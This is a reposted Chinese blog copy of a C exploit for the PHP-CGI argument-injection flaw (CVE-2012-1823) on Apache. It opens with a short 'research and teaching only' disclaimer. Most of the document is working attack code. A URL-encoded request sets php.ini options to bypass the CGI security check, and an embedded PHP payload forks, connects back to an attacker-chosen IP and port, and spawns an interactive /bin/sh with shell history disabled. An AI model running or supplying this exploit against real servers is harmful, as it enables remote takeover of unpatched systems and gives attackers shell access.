• Apache / PHP 5.x Remote Code Execution Exploit


    测试方法:

    本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

    1. /* Apache Magica by Kingcope */
    2. /* gcc apache-magika.c -o apache-magika -lssl */
    3. /* This is a code execution bug in the combination of Apache and PHP.
    4. On Debian and Ubuntu the vulnerability is present in the default install
    5. of the php5-cgi package. When the php5-cgi package is installed on Debian and
    6. Ubuntu or php-cgi is installed manually the php-cgi binary is accessible under
    7. /cgi-bin/php5 and /cgi-bin/php. The vulnerability makes it possible to execute
    8. the binary because this binary has a security check enabled when installed with
    9. Apache http server and this security check is circumvented by the exploit.
    10. When accessing the php-cgi binary the security check will block the request and
    11. will not execute the binary.
    12. In the source code file sapi/cgi/cgi_main.c of PHP we can see that the security
    13. check is done when the php.ini configuration setting cgi.force_redirect is set
    14. and the php.ini configuration setting cgi.redirect_status_env is set to no.
    15. This makes it possible to execute the binary bypassing the Security check by
    16. setting these two php.ini settings.
    17. Prior to this code for the Security check getopt is called and it is possible
    18. to set cgi.force_redirect to zero and cgi.redirect_status_env to zero using the
    19. -d switch. If both values are set to zero and the request is sent to the server
    20. php-cgi gets fully executed and we can use the payload in the POST data field
    21. to execute arbitrary php and therefore we can execute programs on the system.
    22. apache-magika.c is an exploit that does exactly the prior described. It does
    23. support SSL.
    24. /* Affected and tested versions
    25. PHP 5.3.10
    26. PHP 5.3.8-1
    27. PHP 5.3.6-13
    28. PHP 5.3.3
    29. PHP 5.2.17
    30. PHP 5.2.11
    31. PHP 5.2.6-3
    32. PHP 5.2.6+lenny16 with Suhosin-Patch
    33. Affected versions
    34. PHP prior to 5.3.12
    35. PHP prior to 5.4.2
    36. Unaffected versions
    37. PHP 4 - getopt parser unexploitable
    38. PHP 5.3.12 and up
    39. PHP 5.4.2 and up
    40. Unaffected versions are patched by CVE-2012-1823.
    41. */
    42. /* .
    43. /' rq rk
    44. . // \ .
    45. .x.//fco\-|-
    46. '//cmtco\zt
    47. //6meqrg.\tq
    48. //_________\'
    49. EJPGQO
    50. apache-magica.c by Kingcope
    51. */
    52.  
    53. #include<stdio.h>
    54. #include<stdlib.h>
    55. #include<unistd.h>
    56. #include<getopt.h>
    57. #include<sys/types.h>
    58. #include<stddef.h>
    59. #include<openssl/rand.h>
    60. #include<openssl/ssl.h>
    61. #include<openssl/err.h>
    62. #include<netdb.h>
    63. #include<sys/socket.h>
    64. #include<netinet/in.h>
    65.  
    66. typedefstruct{
    67. int sockfd;
    68. SSL *handle;
    69. SSL_CTX *ctx;
    70. } connection;
    71.  
    72. void usage(char*argv[])
    73. {
    74. printf("usage: %s <--target target> <--port port> <--protocol http|https> "
    75. "<--reverse-ip ip> <--reverse-port port> [--force-interpreter interpreter] ",
    76. argv[0]);
    77. exit(1);
    78. }
    79.  
    80. char poststr[]="POST %s?%%2D%%64+%%61%%6C%%6C%%6F%%77%%5F"
    81. "%%75%%72%%6C%%5F%%69%%6E%%63%%6C%%75%%64%%65%%3D%%6F%%6E+%%2D%%64"
    82. "+%%73%%61%%66%%65%%5F%%6D%%6F%%64%%65%%3D%%6F%%66%%66+%%2D%%64+%%73"
    83. "%%75%%68%%6F%%73%%69%%6E%%2E%%73%%69%%6D%%75%%6C%%61%%74%%69%%6F%%6E"
    84. "%%3D%%6F%%6E+%%2D%%64+%%64%%69%%73%%61%%62%%6C%%65%%5F%%66%%75%%6E%%63"
    85. "%%74%%69%%6F%%6E%%73%%3D%%22%%22+%%2D%%64+%%6F%%70%%65%%6E%%5F%%62"
    86. "%%61%%73%%65%%64%%69%%72%%3D%%6E%%6F%%6E%%65+%%2D%%64+%%61%%75%%74"
    87. "%%6F%%5F%%70%%72%%65%%70%%65%%6E%%64%%5F%%66%%69%%6C%%65%%3D%%70%%68"
    88. "%%70%%3A%%2F%%2F%%69%%6E%%70%%75%%74+%%2D%%64+%%63%%67%%69%%2E%%66%%6F"
    89. "%%72%%63%%65%%5F%%72%%65%%64%%69%%72%%65%%63%%74%%3D%%30+%%2D%%64+%%63"
    90. "%%67%%69%%2E%%72%%65%%64%%69%%72%%65%%63%%74%%5F%%73%%74%%61%%74%%75%%73"
    91. "%%5F%%65%%6E%%76%%3D%%30+%%2D%%6E HTTP/1.1 "
    92. "Host: %s "
    93. "User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26"
    94. "(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25 "
    95. "Content-Type: application/x-www-form-urlencoded "
    96. "Content-Length: %d "
    97. "Connection: close %s";
    98. char phpstr[]="<?php "
    99. "set_time_limit(0); "
    100. "$ip = '%s'; "
    101. "$port = %d; "
    102. "$chunk_size = 1400; "
    103. "$write_a = null; "
    104. "$error_a = null; "
    105. "$shell = 'unset HISTFILE; unset HISTSIZE; uname -a; w; id; /bin/sh -i'; "
    106. "$daemon = 0; "
    107. "$debug = 0; "
    108. "if (function_exists('pcntl_fork')) { "
    109. " $pid = pcntl_fork(); "
    110. " if ($pid == -1) { "
    111. " printit("ERROR: Can't fork"); "
    112. " exit(1); "
    113. " } "
    114. " if ($pid) { "
    115. " exit(0); "
    116. " } "
    117. " if (posix_setsid() == -1) { "
    118. " printit("Error: Can't setsid()"); "
    119. " exit(1); "
    120. " } "
    121. " $daemon = 1; "
    122. "} else { "
    123. " printit("WARNING: Failed to daemonise."); "
    124. "} "
    125. "chdir("/"); "
    126. "umask(0); "
    127. "$sock = fsockopen($ip, $port, $errno, $errstr, 30); "
    128. "if (!$sock) { "
    129. " printit("$errstr ($errno)"); "
    130. " exit(1); "
    131. "} "
    132. "$descriptorspec = array( "
    133. " 0 => array("pipe", "r"), "
    134. " 1 => array("pipe", "w"), "
    135. " 2 => array("pipe", "w") "
    136. "); "
    137. "$process = proc_open($shell, $descriptorspec, $pipes); "
    138. "if (!is_resource($process)) { "
    139. " printit("ERROR: Can't spawn shell"); "
    140. " exit(1); "
    141. "} "
    142. "stream_set_blocking($pipes[0], 0); "
    143. "stream_set_blocking($pipes[1], 0); "
    144. "stream_set_blocking($pipes[2], 0); "
    145. "stream_set_blocking($sock, 0); "
    146. "while (1) { "
    147. " if (feof($sock)) { "
    148. " printit("ERROR: Shell connection terminated"); "
    149. " break; "
    150. " } "
    151. " if (feof($pipes[1])) { "
    152. " printit("ERROR: Shell process terminated"); "
    153. " break; "
    154. " } "
    155. " $read_a = array($sock, $pipes[1], $pipes[2]); "
    156. " $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); "
    157. " if (in_array($sock, $read_a)) { "
    158. " if ($debug) printit("SOCK READ"); "
    159. " $input = fread($sock, $chunk_size); "
    160. " if ($debug) printit("SOCK: $input"); "
    161. " fwrite($pipes[0], $input); "
    162. " } "
    163. " if (in_array($pipes[1], $read_a)) { "
    164. " if ($debug) printit("STDOUT READ"); "
    165. " $input = fread($pipes[1], $chunk_size); "
    166. " if ($debug) printit("STDOUT: $input"); "
    167. " fwrite($sock, $input); "
    168. " } "
    169. " if (in_array($pipes[2], $read_a)) { "
    170. " if ($debug) printit("STDERR READ"); "
    171. " $input = fread($pipes[2], $chunk_size); "
    172. " if ($debug) printit("STDERR: $input"); "
    173. " fwrite($sock, $input); "
    174. " } "
    175. "} "
    176. " "
    177. "fclose($sock); "
    178. "fclose($pipes[0]); "
    179. "fclose($pipes[1]); "
    180. "fclose($pipes[2]); "
    181. "proc_close($process); "
    182. "function printit ($string) { "
    183. " if (!$daemon) { "
    184. " print "$string "; "
    185. " } "
    186. "} "
    187. "exit(1); "
    188. "?>";
    189.  
    190. struct sockaddr_in *gethostbyname_(char*hostname,unsignedshort port)
    191. {
    192. struct hostent *he;
    193. struct sockaddr_in server,*servercopy;
    194. if((he=gethostbyname(hostname))== NULL){
    195. printf("Hostname cannot be resolved ");
    196. exit(255);
    197. }
    198. servercopy = malloc(sizeof(struct sockaddr_in));
    199. if(!servercopy){
    200. printf("malloc error (1) ");
    201. exit(255);
    202. }
    203. memset(&server,'',sizeof(struct sockaddr_in));
    204. memcpy(&server.sin_addr, he->h_addr_list[0], he->h_length);
    205. server.sin_family = AF_INET;
    206. server.sin_port = htons(port);
    207. memcpy(servercopy,&server,sizeof(struct sockaddr_in));
    208. return servercopy;
    209. }
    210.  
    211. char*sslread(connection *c)
    212. {
    213. char*rc = NULL;
    214. int received, count =0, count2=0;
    215. char ch;
    216.  
    217. for(;;)
    218. {
    219. if(!rc)
    220. rc = calloc(1024,sizeof(char)+1);
    221. else
    222. if(count2 %1024==0){
    223. rc = realloc(rc,(count2 +1)*1024*sizeof(char)+1);
    224. }
    225. received = SSL_read(c->handle,&ch,1);
    226. if(received ==1){
    227. rc[count++]= ch;
    228. count2++;
    229. if(count2 >1024*5)
    230. break;
    231. }
    232. else
    233. break;
    234. }
    235. return rc;
    236. }
    237.  
    238. char*read_(int sockfd)
    239. {
    240. char*rc = NULL;
    241. int received, count =0, count2=0;
    242. char ch;
    243.  
    244. for(;;)
    245. {
    246. if(!rc)
    247. rc = calloc(1024,sizeof(char)+1);
    248. else
    249. if(count2 %1024==0){
    250. rc = realloc(rc,(count2 +1)*1024*sizeof(char)+1);
    251. }
    252. received = read(sockfd,&ch,1);
    253. if(received ==1){
    254. rc[count++]= ch;
    255. count2++;
    256. if(count2 >1024*5)
    257. break;
    258. }
    259. else
    260. break;
    261. }
    262. return rc;
    263. }
    264.  
    265. void main(int argc,char*argv[])
    266. {
    267. char*target,*protocol,*targetip,*writestr,*tmpstr,*readbuf=NULL,
    268. *interpreter,*reverseip,*reverseportstr,*forceinterpreter=NULL;
    269. char httpsflag=0;
    270. unsignedshort port=0, reverseport=0;
    271. struct sockaddr_in *server;
    272. int sockfd;
    273. unsignedint writesize, tmpsize;
    274. unsignedint i;
    275. connection *sslconnection;
    276. printf("-== Apache Magika by Kingcope ==- ");
    277. for(;;)
    278. {
    279. int c;
    280. int option_index=0;
    281. staticstruct option long_options[]={
    282. {"target", required_argument,0,0},
    283. {"port", required_argument,0,0},
    284. {"protocol", required_argument,0,0},
    285. {"reverse-ip", required_argument,0,0},
    286. {"reverse-port", required_argument,0,0},
    287. {"force-interpreter", required_argument,0,0},
    288. {0,0,0,0}
    289. };
    290. c = getopt_long(argc, argv,"", long_options,&option_index);
    291. if(c <0)
    292. break;
    293. switch(c){
    294. case0:
    295. switch(option_index){
    296. case0:
    297. if(optarg){
    298. target = calloc(strlen(optarg)+1,sizeof(char));
    299. if(!target){
    300. printf("calloc error (2) ");
    301. exit(255);
    302. }
    303. memcpy(target, optarg, strlen(optarg)+1);
    304. }
    305. break;
    306. case1:
    307. if(optarg)
    308. port = atoi(optarg);
    309. break;
    310. case2:
    311. protocol = calloc(strlen(optarg)+1,sizeof(char));
    312. if(!protocol){
    313. printf("calloc error (3) ");
    314. exit(255);
    315. }
    316. memcpy(protocol, optarg, strlen(optarg)+1);
    317. if(!strcmp(protocol,"https"))
    318. httpsflag=1;
    319. break;
    320. case3:
    321. reverseip = calloc(strlen(optarg)+1,sizeof(char));
    322. if(!reverseip){
    323. printf("calloc error (4) ");
    324. exit(255);
    325. }
    326. memcpy(reverseip, optarg, strlen(optarg)+1);
    327. break;
    328. case4:
    329. reverseport = atoi(optarg);
    330. reverseportstr = calloc(strlen(optarg)+1,sizeof(char));
    331. if(!reverseportstr){
    332. printf("calloc error (5) ");
    333. exit(255);
    334. }
    335. memcpy(reverseportstr, optarg, strlen(optarg)+1);
    336. break;
    337. case5:
    338. forceinterpreter = calloc(strlen(optarg)+1,sizeof(char));
    339. if(!forceinterpreter){
    340. printf("calloc error (6) ");
    341. exit(255);
    342. }
    343. memcpy(forceinterpreter, optarg, strlen(optarg)+1);
    344. break;
    345. default:
    346. usage(argv);
    347. }
    348. break;
    349. default:
    350. usage(argv);
    351. }
    352. }
    353.  
    354. if((optind < argc)||!target ||!protocol ||!port ||
    355. !reverseip ||!reverseport){
    356. usage(argv);
    357. }
    358. server = gethostbyname_(target, port);
    359. if(!server){
    360. printf("Error while resolving hostname. (7) ");
    361. exit(255);
    362. }
    363.  
    364. char*interpreters[5];
    365. int ninterpreters =5;
    366. interpreters[0]= strdup("/cgi-bin/php");
    367. interpreters[1]= strdup("/cgi-bin/php5");
    368. interpreters[2]= strdup("/cgi-bin/php-cgi");
    369. interpreters[3]= strdup("/cgi-bin/php.cgi");
    370. interpreters[4]= strdup("/cgi-bin/php4");
    371. for(i=0;i<ninterpreters;i++){
    372. interpreter = interpreters[i];
    373. if(forceinterpreter){
    374. interpreter = strdup(forceinterpreter);
    375. }
    376. if(forceinterpreter && i)
    377. break;
    378. printf("%s ", interpreter);
    379. sockfd = socket(AF_INET, SOCK_STREAM,0);
    380. if(sockfd <1){
    381. printf("socket error (8) ");
    382. exit(255);
    383. }
    384. if(connect(sockfd,(void*)server,sizeof(struct sockaddr_in))<0){
    385. printf("connect error (9) ");
    386. exit(255);
    387. }
    388. if(httpsflag){
    389. sslconnection =(connection*) malloc(sizeof(connection));
    390. if(!sslconnection){
    391. printf("malloc error (10) ");
    392. exit(255);
    393. }
    394. sslconnection->handle = NULL;
    395. sslconnection->ctx = NULL;
    396.  
    397. SSL_library_init();
    398.  
    399. sslconnection->ctx = SSL_CTX_new(SSLv23_client_method());
    400. if(!sslconnection->ctx){
    401. printf("SSL_CTX_new error (11) ");
    402. exit(255);
    403. }
    404.  
    405. sslconnection->handle = SSL_new(sslconnection->ctx);
    406. if(!sslconnection->handle){
    407. printf("SSL_new error (12) ");
    408. exit(255);
    409. }
    410. if(!SSL_set_fd(sslconnection->handle, sockfd)){
    411. printf("SSL_set_fd error (13) ");
    412. exit(255);
    413. }
    414. if(SSL_connect(sslconnection->handle)!=1){
    415. printf("SSL_connect error (14) ");
    416. exit(255);
    417. }
    418. }
    419. tmpsize = strlen(phpstr)+ strlen(reverseip)+ strlen(reverseportstr)+64;
    420. tmpstr =(char*)calloc(tmpsize,sizeof(char));
    421. snprintf(tmpstr, tmpsize, phpstr, reverseip, reverseport);
    422. writesize = strlen(target)+ strlen(interpreter)+
    423. strlen(poststr)+ strlen(tmpstr)+64;
    424. writestr =(char*)calloc(writesize,sizeof(char));
    425. snprintf(writestr, writesize, poststr, interpreter,
    426. target, strlen(tmpstr), tmpstr);
    427. if(!httpsflag){
    428. write(sockfd, writestr, strlen(writestr));
    429. readbuf = read_(sockfd);
    430. }else{
    431. SSL_write(sslconnection->handle, writestr, strlen(writestr));
    432. readbuf = sslread(sslconnection);
    433. }
    434. if(readbuf){
    435. printf("***SERVER RESPONSE*** %s ", readbuf);
    436. }else{
    437. printf("read error (15) ");
    438. exit(255);
    439. }
    440. }
    441. exit(1);
    442. }
  • 相关阅读:
    BFGS(1)
    局部加权之线性回归(1)
    遗传算法(1)
    Python扩展(Cython混编)
    梯度下降算法(1)
    Python矩阵作图库matplotlib的初级使用
    搭建FTP服务器与客户端(1)
    maven常见小问题整理
    git常用命令问题整理
    maven常用命令整理
  • 原文地址:https://www.cnblogs.com/security4399/p/3400375.html
Copyright © 2020-2023  润新知